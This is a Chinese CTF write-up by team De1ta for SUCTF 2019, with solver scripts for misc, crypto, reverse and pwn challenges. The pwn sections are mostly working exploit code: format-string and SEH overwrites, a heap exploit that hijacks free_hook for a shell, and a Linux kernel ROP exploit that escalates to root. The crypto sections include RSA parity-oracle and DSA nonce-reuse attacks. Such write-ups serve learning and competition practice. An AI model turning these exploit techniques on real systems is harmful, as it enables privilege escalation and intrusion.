SUCTF 2019 Writeup — De1ta
2019-08-20 10:00:00 Author: xz.aliyun.com(查看原文) 阅读量:210 收藏

前排广告位:De1ta长期招 逆向/pwn/密码学/硬件/取证/杂项/etc. 选手,急招二进制和密码选手,有意向的大佬请联系ZGUxdGFAcHJvdG9ubWFpbC5jb20=

from base64 import b64decode
a=open("1.txt","r").read()
c=open("1.png","wb")
c.write(b64decode(a))
c.close()

RestrictedUnpickler.py 里重写了 find_class,对反序列化的对象位置进行了限制,只允许 guess_game 下的模块,而且不允许含 __ 的内置对象。

那么可以先反序列化一个 guess_game里的game对象,然后再反序列化一个 guess_game.Ticket里的Ticket类,参数 number 随便赋一个值(比如6),然后将 Ticket 赋值给 game的curr_ticket 覆盖服务端随机生成的 Ticket,最后我们再反序列化一次最开始反序列化的 Ticket,参数 number 赋相同值。

index.html里有一句话:can u find my secret?
在两个js文件里搜,找到一个图片文件名:iZwz9i9xnerwj6o7h40eauZ.png,下下来,用Stegsolver看一下LSB,发现有一串字符:U2FsdGVkX1+zHjSBeYPtWQVSwXzcVFZLu6Qm0To/KeuHg8vKAxFrVQ==,根据U2FsdGVkX1猜测是密文,试了一下,3DES,密钥是index.html中的字符串ON2WG5DGPNUECSDBNBQV6RTBNMZV6RRRMFTX2===的b32decode,解开可得flag

简单看一下流量包,发现有很多png,foremost提取出来,图片有两种,一种是一个字符的镜面图片,另一种是空白图片,并且每隔15张字符图片后有10张空白图片。重新审计流量包,发现传输每张图片的流量的数据部分第3个字节有一定的变化规律,遂将该字节相同的空白图片与字符图片一一对应,即得flag。

from Crypto.Util.number import inverse
p = 282164587459512124844245113950593348271
q = 366669102002966856876605669837014229419
n = p*q
phi = (p-1)*(q-1)
e = 65537
d = inverse(e,phi)
c = 0xad939ff59f6e70bcbfad406f2494993757eee98b91bc244184a377520d06fc35
m = pow(c,d,n)
print(hex(m)[2:-1].decode("hex"))
enc = [  0xF3, 0x2E, 0x18, 0x36, 0xE1, 0x4C, 0x22, 0xD1, 0xF9, 0x8C,
  0x40, 0x76, 0xF4, 0x0E, 0x00, 0x05, 0xA3, 0x90, 0x0E, 0xA5]

for j in range(256):
    a = [j]
    for i in range(0,20):
        a.append(((enc[i] ^ ((a[i]^18)*3+2))-(a[i]%7))&0xff)
    s = "".join(map(chr,a))
    if "flag" in s:
        print(s)

开始的tls回调函数会解密四个字符串NtQueryInformationProcess,ZwQueryInformationThread,NtQueueApcThread和ntdll.dll。查找这些字符串的引用可以在后面看到用GetProcAdreee获取这些函数地址。但是使用ida调试的时候,tls回调函数被多次调用了,可能是后面多线程的关系,导致这些字符串被重复加密,到最后就没被还原去使用了,所以在这里打断点,第一次停下的时候执行解密,之后每次停下都直接set ip到最后ret

之后第二个check会获取当前目录,在后面加一个:signature后打开,比如/WinRev.exe:signature,从中获取内容并md5校验。md5解出来是Overwatch问了下队里师傅,冒号说是文件流,可以通过以下指令写入:

sub_140008910sub_1400089E0他们对全局变量unk_1400111A0进行了解密,然后SetEvent一个Handles变量,这个变量一共又三个。通过查找他的交叉引用以及sub_140006C10函数的引用,发现在开头起的多线程里面sub_140008B20又被调用了。简

单分析下这个函数,发现这里md5了什么东西并和一些md5值校验,相等则直接exit。这里可以猜到md5的可能是进程名,如果有ida.exe等进程则退出,通过下断点调试也能发现,在退出时可以看到md5的内容是ida64.exe。通过进程名校验后会调用sub_140006C10解密。判定了一个全局变量,所以只会解密一次。

接下来主要是另一个线程中干的事了。分析beginthreadex的起始函数,注意到里面有个sub_140009850中信息很多。发现了DllInput以及校验了MZ字符。开头他在等待三个Handles设定完毕。但进入这个函数的条件byte_140016198一直没找到在哪设置。分析sub_140008D20函数,他会调用参数一函数指针,查找这个全局变量的引用,看到它是在sub_140009C20中被设置,同样的还有qword_140016178qword_140016180,他们最终被sub_140008850设置成一开始tls回调函数解密的NtQueryInformationProcess,ZwQueryInformationThread和NtQueueApcThread,当他们都被成功设置后,就能成功进入sub_140009850的逻辑了。

__int64 sub_180002880()
{
  __int64 v0; // rax
  __int64 v2; // [rsp+0h] [rbp-B8h]
  __int64 v3; // [rsp+20h] [rbp-98h]
  __int64 v4; // [rsp+30h] [rbp-88h]
  __int64 v5; // [rsp+38h] [rbp-80h]
  __int64 v6; // [rsp+40h] [rbp-78h]
  __int64 v7; // [rsp+48h] [rbp-70h]
  char v8; // [rsp+50h] [rbp-68h]
  char v9; // [rsp+68h] [rbp-50h]
  char v10; // [rsp+80h] [rbp-38h]
  __int64 v11; // [rsp+90h] [rbp-28h]

  memset(&v8, 0, 0x11ui64);
  ucrtbase_puts("Now check the sign:");
  sub_1800027A0("%32s", &v8);
  v5 = kernel32_OpenEventW(2031619i64, 1i64, L"DLLInput");
  if ( v5 )
  {
    kernel32_WaitForSingleObject(v5, 0xFFFFFFFFi64);
    kernel32_CloseHandle(v5);
    v4 = kernel32_OpenFileMappingW(983071i64, 0i64, L"ShareMemory");
    if ( v4 )
    {
      v3 = 0x8000i64;
      kernel32_MapViewOfFile();
      v7 = v0;
      if ( v0 )
      {
        kernel32_CloseHandle(v4);
        v6 = ucrtbase_malloc(0x8000i64);
        vcruntime140_memset(v6, 0i64, 0x8000i64);
        vcruntime140_memcpy(v6, v7, 0x8000i64);
        strcpy(&v10, "Ak1i3aS3cre7K3y");
        memset(&v9, 0, 0x11ui64);
        sub_180002800(&v10, &v9, v6);
        if ( (unsigned int)ucrtbase_strcmp(&v9, &v8) )
          sub_1800026F0("wow... game start!\n");
        else
          sub_1800026F0("Get finally answer!\n");
      }
      else
      {
        kernel32_CloseHandle(v4);
      }
    }
  }
  return sub_180002AB0((unsigned __int64)&v2 ^ v11);
}

其中sub_180002800很容易看出是aes,密文是之前另一个线程里面看起来很像密文的东西,key就在这里。由于这里获取输入后直接跟解密后的明文比较,所以不需要自己解密,在strcmp下断点就能看到flag了:

输入的flag与结果分别被写到两个地址,分别作为指针通过a0和a1传入,然后设置了fp和sp的值。代码写到另一个地址,然后开始执行。最后从结果处读数据与常量对比。

from numpy import *
from struct import unpack
A = mat([[1,1,1,-1,1,-1,-1,-1,-1,1,1,-1,1,-1,-1,1,-1,-1,1,1,-1,1,1,1,1,-1,1,-1,1,1,-1,-1,1,-1,1,1,-1,-1,1,-1,1,1],
[1,-1,1,-1,-1,1,-1,-1,-1,-1,1,-1,1,-1,-1,1,-1,-1,1,-1,1,1,-1,-1,-1,1,-1,1,-1,-1,1,1,1,1,1,1,-1,-1,-1,-1,-1,1],
[1,-1,1,1,-1,1,-1,-1,1,-1,-1,-1,-1,-1,1,-1,-1,1,1,1,1,1,-1,1,1,1,1,-1,1,-1,1,-1,1,1,-1,-1,1,1,1,-1,1,-1],
[1,-1,-1,-1,-1,-1,1,1,-1,-1,-1,-1,1,-1,1,-1,1,-1,1,1,1,-1,1,1,1,-1,-1,1,-1,1,1,-1,-1,-1,1,-1,1,1,1,-1,1,1],
[1,-1,-1,1,-1,-1,1,1,1,1,-1,1,1,-1,1,-1,1,1,-1,1,-1,1,-1,-1,-1,1,-1,-1,-1,1,1,1,-1,1,-1,-1,1,-1,1,-1,-1,-1],
[1,1,1,1,1,1,1,1,1,-1,-1,-1,-1,-1,-1,1,-1,1,-1,1,1,-1,1,-1,1,-1,1,1,-1,1,-1,1,1,1,-1,-1,-1,1,-1,-1,1,1],
[1,-1,1,1,1,-1,1,1,1,1,-1,1,1,-1,1,1,1,1,-1,-1,-1,-1,-1,-1,1,1,-1,1,1,1,-1,-1,-1,-1,-1,-1,1,1,-1,-1,1,-1],
[1,1,-1,-1,-1,1,1,-1,1,1,-1,1,-1,1,-1,1,-1,1,-1,-1,1,-1,1,-1,-1,1,-1,1,1,1,1,1,1,-1,1,-1,1,1,1,1,-1,-1],
[1,-1,-1,1,1,-1,1,1,1,1,1,-1,-1,1,-1,1,1,1,1,-1,1,1,-1,-1,1,1,1,-1,1,-1,-1,-1,-1,-1,1,-1,-1,1,-1,-1,1,-1],
[1,1,1,-1,1,1,1,-1,-1,-1,-1,1,1,1,-1,1,1,-1,-1,1,1,-1,-1,-1,1,-1,-1,-1,1,1,1,-1,1,1,-1,-1,-1,-1,1,-1,1,1],
[1,-1,1,1,-1,-1,1,1,-1,-1,-1,-1,1,1,1,-1,1,-1,1,1,1,-1,1,-1,-1,-1,1,-1,-1,1,-1,1,1,-1,-1,1,-1,-1,1,-1,1,1],
[1,-1,1,1,1,-1,1,1,-1,1,1,-1,-1,-1,-1,1,-1,-1,-1,1,1,-1,1,-1,1,1,1,1,-1,1,1,-1,-1,-1,-1,-1,1,1,-1,-1,-1,-1],
[1,-1,-1,-1,1,-1,-1,1,1,-1,1,-1,-1,-1,1,-1,1,-1,1,-1,-1,-1,-1,1,-1,1,-1,1,-1,1,-1,-1,1,1,1,-1,-1,-1,-1,1,-1,-1],
[1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,1,1,1,-1,-1,-1,1,1,1,-1,-1,1,1,-1,-1,1,1,-1,-1,-1,1,-1,-1,1,-1,-1,-1,1,-1],
[1,1,1,-1,-1,-1,1,-1,1,1,1,-1,1,-1,-1,1,1,1,-1,-1,-1,-1,1,1,1,-1,1,1,1,-1,-1,-1,1,1,1,1,1,1,1,-1,-1,-1],
[1,-1,1,1,1,1,-1,1,-1,-1,-1,1,1,1,-1,-1,-1,1,-1,-1,-1,-1,1,1,1,1,1,1,-1,-1,-1,-1,1,-1,1,1,1,1,-1,1,1,-1],
[1,-1,1,1,-1,-1,1,1,1,1,1,-1,1,-1,1,1,1,-1,1,-1,1,-1,-1,-1,-1,-1,1,1,1,1,-1,-1,1,-1,-1,1,-1,1,-1,1,-1,1],
[1,1,1,1,1,-1,1,1,1,-1,-1,1,-1,1,1,1,-1,1,-1,-1,1,-1,1,-1,-1,1,-1,1,-1,1,-1,-1,1,-1,-1,1,-1,1,-1,1,1,-1],
[1,-1,-1,-1,1,1,-1,1,-1,1,1,-1,-1,-1,1,-1,-1,1,1,1,-1,-1,-1,-1,-1,-1,-1,-1,1,1,1,-1,-1,-1,1,-1,-1,-1,-1,-1,-1,1],
[1,1,1,1,-1,-1,1,-1,-1,-1,-1,-1,-1,-1,1,1,1,-1,1,1,1,1,-1,1,1,-1,1,1,-1,1,1,1,1,1,-1,1,-1,-1,-1,1,1,-1],
[1,1,-1,-1,-1,1,-1,1,-1,-1,1,1,-1,-1,1,-1,-1,1,-1,-1,1,1,-1,1,1,-1,-1,-1,-1,-1,-1,-1,-1,1,-1,1,1,-1,1,-1,1,-1],
[1,-1,-1,-1,1,1,1,1,-1,-1,-1,-1,-1,-1,-1,-1,-1,1,-1,-1,1,-1,1,1,1,-1,-1,1,-1,-1,-1,-1,-1,-1,-1,-1,-1,1,-1,-1,-1,1],
[1,1,1,1,1,1,1,1,-1,1,-1,1,-1,1,1,1,-1,1,1,-1,-1,1,1,-1,1,-1,-1,1,-1,1,1,1,-1,1,-1,-1,-1,-1,1,-1,1,1],
[1,-1,1,1,-1,-1,-1,-1,1,-1,-1,1,1,-1,-1,1,-1,-1,1,1,-1,-1,1,-1,1,1,-1,1,-1,1,1,-1,-1,-1,-1,-1,-1,-1,1,-1,-1,-1],
[1,1,-1,1,1,-1,1,1,-1,1,1,-1,-1,-1,-1,1,1,1,-1,1,1,1,1,1,1,1,-1,-1,-1,1,1,-1,1,1,1,-1,-1,-1,-1,1,1,-1],
[1,-1,1,1,-1,1,1,-1,1,1,1,-1,-1,1,-1,1,-1,1,1,1,-1,-1,1,1,-1,-1,1,-1,1,-1,1,-1,-1,1,-1,-1,-1,-1,1,-1,1,1],
[1,1,1,1,1,-1,-1,1,-1,-1,-1,-1,1,-1,1,-1,1,-1,1,-1,-1,1,1,1,1,1,-1,-1,-1,-1,1,1,-1,-1,-1,1,1,-1,-1,1,1,1],
[1,-1,1,-1,1,-1,-1,-1,-1,-1,-1,-1,1,1,-1,1,1,1,1,1,-1,-1,-1,-1,1,1,1,-1,1,1,1,-1,-1,-1,-1,1,-1,-1,-1,-1,-1,-1],
[1,-1,1,1,1,-1,1,1,-1,-1,1,1,-1,1,-1,1,-1,1,1,1,-1,-1,1,-1,-1,-1,-1,1,-1,-1,-1,1,-1,-1,1,1,1,-1,-1,1,1,1],
[1,1,-1,-1,-1,1,1,1,-1,1,-1,-1,1,-1,1,1,-1,1,1,-1,1,1,1,1,-1,1,1,-1,1,1,1,1,1,-1,-1,1,1,-1,1,1,-1,1],
[1,1,1,1,-1,-1,-1,-1,1,1,-1,-1,-1,1,-1,-1,1,-1,-1,-1,1,-1,-1,1,1,-1,-1,1,-1,-1,-1,-1,-1,-1,-1,1,1,1,-1,1,1,1],
[1,1,-1,1,1,-1,-1,1,1,1,1,1,1,-1,-1,-1,1,1,1,1,-1,1,-1,1,-1,-1,1,1,-1,1,-1,-1,-1,1,-1,1,-1,1,-1,1,-1,-1],
[1,-1,1,1,-1,1,1,1,1,-1,1,1,-1,1,1,-1,1,-1,1,1,1,-1,-1,1,-1,1,1,1,-1,-1,-1,-1,-1,-1,1,1,1,1,-1,1,-1,1],
[1,-1,-1,1,1,1,1,-1,-1,1,1,1,-1,-1,1,1,-1,1,-1,1,-1,1,1,1,-1,-1,1,1,-1,1,-1,-1,-1,-1,-1,-1,1,-1,1,-1,-1,-1],
[1,1,-1,1,-1,-1,-1,1,1,1,1,1,-1,-1,-1,1,-1,1,-1,1,-1,-1,1,1,-1,-1,1,1,1,1,-1,-1,-1,-1,-1,-1,-1,1,1,1,-1,-1],
[1,-1,1,1,1,-1,-1,1,1,-1,-1,1,1,1,-1,-1,1,-1,1,1,-1,-1,-1,1,1,-1,-1,1,1,-1,-1,1,1,-1,1,1,1,1,1,1,-1,-1],
[1,1,1,-1,-1,-1,-1,1,1,1,-1,1,1,-1,1,1,1,1,1,1,1,1,-1,-1,1,-1,-1,-1,-1,1,1,1,1,-1,-1,-1,-1,1,-1,1,1,-1],
[1,-1,-1,1,-1,1,-1,-1,-1,-1,1,-1,-1,-1,-1,-1,-1,1,1,-1,-1,-1,1,-1,1,-1,-1,1,-1,-1,1,1,-1,1,-1,1,-1,-1,1,-1,-1,-1],
[1,1,1,1,-1,1,1,1,-1,-1,-1,1,1,1,-1,-1,-1,-1,-1,-1,1,1,-1,1,1,1,1,1,-1,-1,1,1,-1,-1,1,-1,-1,-1,1,1,1,-1],
[1,-1,-1,-1,-1,1,-1,-1,-1,1,-1,1,-1,1,1,-1,-1,-1,1,1,1,1,1,-1,1,1,1,1,1,-1,1,1,1,1,1,-1,-1,1,1,1,-1,1],
[1,-1,-1,-1,1,1,1,-1,1,1,-1,1,-1,-1,-1,1,1,1,1,1,1,1,1,-1,1,1,-1,1,1,-1,1,1,1,-1,-1,1,1,-1,1,1,1,1],
[1,1,1,1,1,1,1,-1,-1,-1,1,1,-1,1,-1,-1,-1,-1,-1,-1,1,-1,1,-1,-1,1,1,1,1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,1]])
res = "FFFFFF94FFFFFF3800000126FFFFFF28FFFFFC1000000294FFFFFC9E000006EA000000DC00000006FFFFFF0CFFFFFDF6FFFFFA82FFFFFCD000000182000003DE0000014E000002B2FFFFF8D800000174FFFFFAA6FFFFF9D4000001C2FFFFF97C0000035A00000146FFFFFF3CFFFFFA14000001CE000007DCFFFFFD48000000980000085EFFFFFDB0FFFFFFBC0000036EFFFFFF4EFFFFF836000005C0000006AE0000069400000022".decode("hex")
y = []
for i in range(42):
    tmp = res[i*4:i*4+4]
    tmp = unpack(">i",tmp)[0]
    y.append(tmp)
B = mat(y)

B = B.reshape(42,1)
B = A.I*B
B = B.reshape(1,42)
B = B.tolist()[0]
for i in range(42):
    B[i] = int(round(B[i]))
    B[i]^=i
    B[i] = (B[i]>>3)|(B[i]<<5)
    B[i]&=0xff
print("".join(map(chr,B)))

后面看到sub_140002B80里面有isspace和ispunct,猜测跟符号有关。瞎调调出来是用符号分割成几部分,第一个校验3部分,第二个校验第一部分的长度10

from z3 import Solver
s = Solver()
x = BitVec("x",32)
s.add(x&1==0)
s.add(((0x4D2 * x + 0x162E) / 0x112C ^ 0xABCDDCBA) == 0xABCDB8B9)
s.add(((0x91E * x + 0x2693) / 0x1E61 ^ 0x12336790) == 0x1233FC70)
print(s.check())
print(s.model())
from pwn import *

context.log_level = "debug"
main_ebp_offset = 26

def format_offset(format_str , offset):
    return format_str.replace("{}" , str(offset))

def get_target(offset , name):
    payload = format_offset("%{}$p\x00" , offset)
    p.sendline(payload)
    text = p.recv()
    try:
        value = int(text.split("\n")[0] , 16)
        print(name + " : " + hex(value))
        return value
    except Exception, e:
        print text

def modify_byte(last_byte , offset):
    payload = "%" + str(last_byte) + "c" + format_offset("%{}$hhn" , offset)
    p.sendline(payload)
    p.recv()

def modify(addr , value , ebp_offset , ebp_1_offset):
    addr_last_byte = addr & 0xff
    for i in range(4):
        now_value = (value >> i * 8) & 0xff
        modify_byte(addr_last_byte + i ,  ebp_offset)
        modify_byte(now_value , ebp_1_offset)

p = process("./playfmt")
#elf = ELF("./playfmt")
#p = remote("120.78.192.35",9999)
elf = ELF("./playfmt")
p.recvuntil("=\n")
gdb.attach(p)

raw_input()
play_ebp_addr = get_target(6,  "ebp")

raw_input()
ebp_addr = get_target(6,  "ebp")
flag_ptr = 19
flag_addr = get_target(flag_ptr , "addr") - 0x420
log.info(hex(flag_addr))

modify(ebp_addr + 4 , flag_addr , 6 , 14)
payload = format_offset("%{}$s\x00" , 14 + 1)
p.send(payload)

p.interactive()

security_cookie是全局变量上一个值,每一个进程自始至终是固定的。它异或到了ebp-8的数据上,调试一下发现这里指向SEH结构体,之后又异或了ebp放到ebp-1Ch作为canary。

想到可以在栈上伪造一个seh结构体,然后把ebp-8覆盖成我们伪造的结构体,结构体中的异常处理函数改成程序中的后门地址。由于这个地址异或了cookie,所以我们还要读取cookie的值。

from pwn import *
main_aslr = 0x1c395e
main_addr = 0x0040395E
cookie_addr = 0x0047C004
stack_addr = 0x19FF10
cookie_aslr = cookie_addr-main_addr+main_aslr

def leak_stack(stack):
    p.recvuntil("Do you want to know more?")
    p.sendline("yes")
    p.recvuntil("Where do you want to know?")
    p.sendline(str(stack-stack_addr+stack_aslr))
    p.recvuntil("value is ")
    s = p.recvline().strip()
    s = eval(s)
    return s

p = remote("121.40.159.66","6666")
p.recvuntil("stack address = ")
stack_aslr = eval(p.recv(8))
log.success("stack:0x%x"%stack_aslr)
p.recvuntil("main address = ")
main_aslr = eval(p.recv(8))
log.success("main:0x%x"%main_aslr)
str4_addr = 0x0019FE48-stack_addr+stack_aslr
p.recvuntil("So,Can You Tell me what did you know?")
p.sendline("00408541")
p.recvuntil("Do you want to know more?")
p.sendline("yes")
p.recvuntil("Where do you want to know?")
p.sendline(str(cookie_aslr))
p.recvuntil("value is ")
cookie = p.recvline().strip()
cookie = eval(cookie)
log.success("cookie:0x%x"%cookie)
s1 = leak_stack(0x19fed4)
s4 = leak_stack(0x19fee0)
s5 = leak_stack(0x19fee4)
p.recvuntil("Do you want to know more?")
p.sendline("y")
payload = 'aaaa' + p32(0xffffffe4)+p32(0)+p32(0xffffff0c)+p32(0)+p32(0xfffffffe)+p32(0x408224-main_addr+main_aslr)+p32(0x00408266-main_addr+main_aslr)
payload = payload.ljust(144,"a") + p32(s1) + 'a'*8 + p32(s4) + p32(s5) + p32(cookie^str4_addr) + p32(0)
print(len(payload))
p.sendline(payload)
p.recvuntil("Do you want to know more?")
p.sendline("yes")
p.recvuntil("Where do you want to know?\r\n")
p.sendline("0")
p.interactive()
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <pthread.h>
#include <sys/stat.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <memory.h>
#include <pty.h>
#include <signal.h>

#define kalloc  0x73311337
#define kfree   0x13377331
#define printk  0xDEADBEEF

#define prepare_off 0x81790
#define commit_off  0x81410
#define pop_rdi_ret 0x3a591c
#define mov_rdi_cr4 0x4e5b1
#define pop_rdx_ret 0x44f17
#define mv_rax_in_rdx   0x6b31

void error_quit(char *p)
{
    perror(p);
    exit(-1);
}

void (*commit_creds)(void *);
void (*prepare_kernel_cred)(void *);

void get_root(int arg)
{
    system("/bin/sh");;
}

int main()
{
    int i,fd,t[0x100];
    char p[0x2008];
    signal(SIGSEGV, get_root);
    char *leak = "%lx %lx %lx %lx %lx kernel:0x%lx %lx %lx %lx stack:0x%lx %lx %lx %lx %lx aa\n";
    unsigned long stack;
    unsigned long kernel;
        if ((fd = open("/dev/meizijiutql",O_RDWR)) == -1)
        error_quit("open error");
    for (i = 0; i < 0x103; i++)
        ioctl(fd, kalloc, 0xff9);
    write(fd, leak, strlen(leak));
    ioctl(fd, printk, 0);
    ioctl(fd, printk, 0);
    printf("input kernel_base\n");
    scanf("%lx",&kernel);
    kernel = kernel & 0xfffffffffff00000;
    kernel -= 0x100000;
    printf("input stack_addr\n");
    scanf("%lx",&stack);
    stack = stack & 0xfffffffffffff000;
    *((unsigned long *)&p[0x1000]) = stack;
    write(fd, p, 0x1008);
    memset(p,0x90,0x2000);
    unsigned long *rop = (unsigned long *)&p[0xe50-8];
    i = 0;
    printf("0x%lx\n",pop_rdi_ret+kernel);
    sleep(1);
    rop[i++] = pop_rdi_ret + kernel;
    rop[i++] = 0;
    rop[i++] = prepare_off + kernel;
    rop[i++] = pop_rdx_ret + kernel;
    rop[i++] = stack + 0xe80;
    rop[i++] = mv_rax_in_rdx + kernel;
    rop[i++] = pop_rdi_ret + kernel;
    rop[i++] = 0x6f0;
    rop[i++] = commit_off + kernel;
    rop[i++] = 0xa00d5a + kernel;
    rop[i++] = 0x246;
    rop[i++] = 0x021880 + kernel;
    rop[i++] = get_root;
    rop[i++] = 0x33;
    rop[i++] = 0x246;
    rop[i++] = p;
    rop[i++] = 0x2b;
    for (i=0;i<0x700;i++)
    {
        ioctl(fd, kalloc, 0xff9);
        write(fd, p, 0x1000);
    }
    return 0;
}
from pwn import *

debug=0

context.log_level='debug'

if debug:
    p=process('./pwn')
    #p=process('',env={'LD_PRELOAD':'./libc.so'})
    gdb.attach(p)
else:
    p=remote('47.111.59.243', 10001)

def ru(x):
    return p.recvuntil(x)

def se(x):
    p.send(x)

def sl(x):
    p.sendline(x)

def add(sz,name,price):
    sl('1')
    ru('length: ')
    sl(str(sz))
    ru('Name: ')
    se(name)
    ru('Price: ')
    sl(str(price))
    ru('>>> ')

def comment(idx,content,score):
    sl('2')
    ru('Index: ')
    sl(str(idx))
    ru('Comment on')
    se(content)
    ru('score:')
    sl(str(score))
    ru('>>> ')

def throw(idx):
    sl('3')
    ru('index: ')
    sl(str(idx))
    ru('Comment ')
    data = ru(' will')[:-5]
    ru('>>> ')
    return data

add(0x200,'a\n',100)
add(0x100,'a\n',200)
comment(0,'aaaa\n',100)
throw(0)
add(0x10,'a\n',100)
comment(0,'a',100)
libc = u32(throw(0)[4:8])
if debug:
    base = libc-0x1b27b0
else:
    base = libc-0x1b07b0

throw(1)
add(0x200,'c'*20+'\n',100)
throw(0)
add(0xc,'wwwww\n',100)
comment(0,'a'*0x10,200)

heap = u32(throw(0)[0x10:0x14])-0x48

for i in range(8):
    add(0x10,'a\n',100)
for i in range(8):
    throw(i)

add(0x10,'b\n',200) #0
add(0xa0,'a\n',100) #1
add(0xfc,'a\n',100) #2
add(0xfc,'b\n',200) #3
add(0xfc,'c\n',300) #4

throw(2)
add(0xfc,(p32(0)*3+p32(0xf1)+p32(heap+0x288)+p32(heap+0x288)+p32(heap+0x278)*4).ljust(0xf8,'a')+p32(0xf0),200) #2
throw(3)
add(0xec,'a\n',100) #3
add(0xfc,'b\n',200) #5

throw(3)

add(0x2c,'qqqqqq\n',100) #3
add(0xbc,'a\n',100) #6

throw(3)

throw(2)

#free_hook =  base + 0x1b38b0
free_hook = base + 0x1b18b0


add(0xfc,p32(0)*3+p32(0x31)+p32(heap)+'\n',100) #2
add(0x2c,p32(0)+p32(heap+0x8)+p32(0)+p32(free_hook)+p32(0)+p32(heap+0x298)+'/bin/sh\0'+'\n',100) #3


add(0x2c,p32(heap+0x290)+p32(heap+0x280)+'\n',100) #7

sl('4')
ru('Give me an index: ')
sl('1')
sleep(0.5)
se(p32(heap+0x290)+p32(heap+0x288))
ru('Wanna get more power?(y/n)')

sl('y')
ru('Give me serial:')
se('e4SyD1C!')
sleep(0.5)
#se('a'+p32(base+0x3ada0))
se('a'+p32(base+0x3a940))


print(hex(free_hook))
print(hex(base))
print(hex(heap))
p.interactive()
from pwn import *
from hashlib import md5
import decimal
import gmpy2
def gcd(a, b):
   if a < b:
     a, b = b, a
   while b != 0:
     temp = a % b
     a = b
     b = temp
   return a

a = 0
def oracle(num):
    p.recvuntil("Please input your option:")
    p.sendline("D")
    p.recvuntil("Your encrypted message:")
    p.sendline(str(num))
    p.recvuntil("The plain of your decrypted message is ")
    lsb = p.recv(3)
    return lsb == 'odd'

def partial(c,e,n):
    k = n.bit_length()
    decimal.getcontext().prec = k  # for 'precise enough' floats
    lo = decimal.Decimal(0)
    hi = decimal.Decimal(n)
    for i in range(k):
        if not oracle(c):
            hi = (lo + hi) / 2
        else:
            lo = (lo + hi) / 2
        c = (c * pow(2, e, n)) % n
        print i, int(hi - lo)
    return int(hi)

s = "0123456789abcdefABCDEF"
p = remote("47.111.59.243","8003")
p.recvuntil("[*] Please find a string that md5(str + ")
salt = p.recv(4)
p.recvuntil("[0:5] == ")
part_hash = p.recv(5)
found = 0
for i in s:
    for j in s:
        for k in s:
            for l in s:
                for m in s:
                    ss = i+j+k+l+m
                    if md5(ss+salt).hexdigest()[:5] == part_hash:
                        found = 1
                        break
                if found:
                    break
            if found:
                break
        if found:
            break
    if found:
        break

p.recvuntil("> ")
p.sendline(ss)

p.recvuntil("cs[0] = ")
c1 = eval(p.recvline())
p.recvuntil("ns[0] = ")
n1 = eval(p.recvline())
p.recvuntil("cs[1] = ")
c2 = eval(p.recvline())
p.recvuntil("ns[1] = ")
n2 = eval(p.recvline())
p.recvuntil("cs[2] = ")
c3 = eval(p.recvline())
p.recvuntil("ns[2] = ")
n3 = eval(p.recvline())
p.recvuntil("cs[3] = ")
c4 = eval(p.recvline())
p.recvuntil("ns[3] = ")
n4 = eval(p.recvline())


n1p1 = gcd(n1,n2)
n1p2 = gcd(n1,n3)
n1p3 = gcd(n1,n4)
n1p4 = n1/(n1p1*n1p2*n1p3)
d1=int(gmpy2.invert(n1,(n1p1-1)*(n1p2-1)*(n1p3-1)*(n1p4-1)))
m1 = pow(c1,d1,n1)

n2p1 = gcd(n2,n1)
n2p2 = gcd(n2,n3)
n2p3 = gcd(n2,n4)
n2p4 = n2/(n2p1*n2p2*n2p3)
d2=int(gmpy2.invert(n2,(n2p1-1)*(n2p2-1)*(n2p3-1)*(n2p4-1)))
m2 = pow(c2,d2,n2)

n3p1 = gcd(n3,n1)
n3p2 = gcd(n3,n2)
n3p3 = gcd(n3,n4)
n3p4 = n3/(n3p1*n3p2*n3p3)
d3=int(gmpy2.invert(n3,(n3p1-1)*(n3p2-1)*(n3p3-1)*(n3p4-1)))
m3 = pow(c3,d3,n3)

n4p1 = gcd(n4,n2)
n4p2 = gcd(n4,n3)
n4p3 = gcd(n4,n1)
n4p4 = n4/(n4p1*n4p2*n4p3)
d4=int(gmpy2.invert(n4,(n4p1-1)*(n4p2-1)*(n4p3-1)*(n4p4-1)))
m4 = pow(c4,d4,n4)

p.recvuntil("ms[0] = ")
p.sendline(hex(m1))

p.recvuntil("ms[1] = ")
p.sendline(hex(m2))

p.recvuntil("ms[2] = ")
p.sendline(hex(m3))

p.recvuntil("ms[3] = ")
p.sendline(hex(m4))

print(p.recvline().strip())
#coding=utf8
from Crypto.PublicKey import DSA
from hashlib import md5
import gmpy2
import hashlib
from cryptography.hazmat.primitives.asymmetric.rsa import _modinv

p = 89884656743115795580686663829063433723705316331915518116995555215732107995059028542508401244839154951727540560161931978595376162965578570688594466436802284147607626105578924348149452183916543288346766737451989059750506942292767656446346135964708979885460659773076011464167414551120634816058711585048191954497
q = 1111804377363103506497255080558092668997313464491
g = 81015871603456981032885262867256289415428185718067221863176015480426278916784273932461088597278453025238130171264554340337052290801398971212149002598733514497274080038687844873045392142055341888546884513467006243654622193996237786587933291936305860861104505778330178660321910982065964185311229731036440300912
y = 24205967076065946398939942966555243225474145978138314135133201932616151998778053968114291774217862261420967723355996662814191035892360634754604901035581578539634376520187757713469318847622699231634156440729178396025399617453913697005440949117064991219553520585024955478025227096450962672242862991836900979588

#找到一组同r的数据,m为字符串的md5

# And see the brave day sunk in hideous night
# Its MD5 digest: 189275664133327295485034625257633857845
# (1110285731834476772119910400331516120389395795749L, 671563422243860980520073471433161684440141852624L)

# ------------------------------------------------------------------------

# And sable curls all silver'd o'er with white
# Its MD5 digest: 76447611971473350019028042637993930502
# (1110285731834476772119910400331516120389395795749L, 218895397309026853341136197466419726836220239272L)

s0=671563422243860980520073471433161684440141852624
s1=218895397309026853341136197466419726836220239272

m0=189275664133327295485034625257633857845
m1=76447611971473350019028042637993930502

r= 1110285731834476772119910400331516120389395795749

dm=m1-m0
ds=s1-s0

k = gmpy2.mul(dm, gmpy2.invert(ds, q))
k = gmpy2.f_mod(k, q)
tmp = gmpy2.mul(k, s0) - m0
x = tmp * gmpy2.invert(r, q)
x = gmpy2.f_mod(x, q)

data5="""And nothing 'gainst Time's scythe can make defence"""

kinv = _modinv(k, q)
h = hashlib.md5(data5.encode()).digest()
h = int.from_bytes(h, "big")
s = kinv * (h + r * x) % q
print("("+str(r)+"L, "+str(int(s))+"L)")
#flag:flag{Wh4t_a_Prety_Si3nature!}
from Crypto.Random import random
from Crypto.Util import number

def convert(m):
    m = m ^ m >> 13
